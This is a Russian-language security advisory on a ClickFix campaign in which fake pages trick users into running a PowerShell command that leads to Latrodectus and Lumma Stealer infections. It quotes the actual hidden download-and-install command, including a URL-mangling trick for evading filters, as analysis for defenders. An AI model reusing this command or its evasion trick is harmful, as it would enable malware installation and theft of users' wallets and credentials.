Злоумышленники активно используют технику ClickFix, при которой жертвы перенаправляются с легитимных, но скомпрометированных сайтов на вредоносные страницы. Там пользователям предлагают скопировать и выполнить PowerShell-скрипт, маскирующийся под решение технической проблемы. В новой волне атак этот метод приводит к загрузке Lumma Stealer — трояна-похитителя данных.
Описание
Атака начинается с того, что жертва попадает на фальшивую веб-страницу, где ей предлагают вставить специальный код в окно выполнения команд (Win + R). Пример такого скрипта включает вызов PowerShell с скрытым выполнением кода, который загружает .msi-установщик с поддельного домена. Интересно, что злоумышленники намеренно искажают URL, например, пишут «htps://» вместо «https://», а затем исправляют это с помощью метода .Insert(2,'t'), чтобы обойти простые фильтры безопасности.
| 1 | "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$i=New-Object -ComObject WindowsInstaller.Installer;$i.UILevel=2;$u='htps://thob[.]live/'.Insert(2,'t');$i.InstallProduct($u,'')" |
После выполнения скрипта в память системы загружается .msi-файл, который, в свою очередь, распаковывает два компонента: легитимный EXE-файл для маскировки и вредоносную DLL, используемую для техники DLL side-loading. Эта DLL связана с загрузчиком Latroductus (также известным как Blackwidow), который проверяет систему на наличие анализа, загружает дополнительные модули и подготавливает почву для основной вредоносной нагрузки.
Финальным этапом атаки становится загрузка трояна Lumma Stealer, специализирующегося на краже конфиденциальных данных. Этот вредонос собирает криптовалютные кошельки (например, MetaMask и Exodus), cookies и сессии браузеров, данные автозаполнения, а также важные файлы из системных папок.
ClickFix остается опасным вектором атак, и злоумышленники постоянно совершенствуют свои методы. Осведомленность и многоуровневая защита — ключевые факторы противодействия таким угрозам.
Индикаторы компрометации
